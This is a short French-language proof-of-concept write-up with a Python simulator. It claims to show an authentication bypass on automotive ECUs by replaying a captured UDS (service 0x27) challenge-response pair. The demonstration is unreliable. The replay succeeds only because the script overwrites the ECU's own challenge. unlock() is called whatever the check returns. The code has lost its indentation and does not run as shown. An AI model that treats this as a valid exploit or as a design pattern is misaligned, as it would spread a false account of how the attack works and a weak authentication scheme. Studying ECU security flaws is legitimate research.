
Exploit de preuve de concept démontrant le contournement de l'authentification UDS via le rejeu de type défi-réponse sur des calculateurs automobiles (ECU), avec un simulateur CAN-UDS en Python.
# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib
class ECU:
def __init__(self):
self.secret = b'long_secret_key'
def generate_challenge(self):
self.challenge = random.randbytes(8)
return self.challenge
def verify_response(self, response):
expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
return response == expected
def unlock(self):
print("ECU unlocked! Critical functions accessible.")
# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response) # first unlock
# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response) # second unlock without new challenge - works
ecu.unlock()
Un calculateur automobile (ECU) implémente l'accès sécurisé Unified Diagnostic Services (UDS) (service 0x27) mais n'impose pas l'utilisation unique du challenge. Un attaquant peut capturer une paire challenge‑réponse valide et la rejouer pour contourner l'authentification.
Exécutez la simulation :
python uds_sim.py
L'ECU se déverrouille deux fois avec la même paire d'authentification.